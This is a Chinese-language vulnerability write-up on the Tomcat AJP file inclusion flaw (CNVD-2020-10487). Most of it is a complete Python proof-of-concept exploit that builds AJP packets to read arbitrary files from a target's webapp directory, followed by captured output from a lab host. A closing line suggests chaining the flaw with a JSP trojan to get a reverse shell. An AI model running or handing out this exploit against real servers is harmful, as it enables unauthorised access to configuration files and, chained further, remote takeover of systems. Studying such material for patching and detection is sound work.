1.描述
- apache tomcat 6
- apache tomcat 7 < 7.0.100
- apache tomcat 8 < 8.5.51
- apache tomcat 9 < 9.0.31
- 一个文件包含漏洞
2.原理
- 由于 Tomcat AJP 协议设计上存在缺陷，攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件
3.POC
#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
import struct
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)
res += pack_string(self.request_headers[h_name])
return res
def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res
r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break
return res
class AjpResponse(object):
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError
def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value
def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length+1)
def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")
def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen
@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r
import socket
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr
class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb", bufsize=0)
def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res
'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
])
print('----------------------------')
print("".join([d.data for d in data]))
---------------------------------------------------------------------------------
这是执行结果：
Getting resource at ajp13://192.168.76.138:8009/asdf
----------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="true">
<display-name>Welcome to Tomcat</display-name>
<description>
Welcome to Tomcat
</description>
</web-app>
4.EXP
- 只能读取webapps/ROOT/WEB-INF下的文件，配合jsp木马可以获得反弹shell
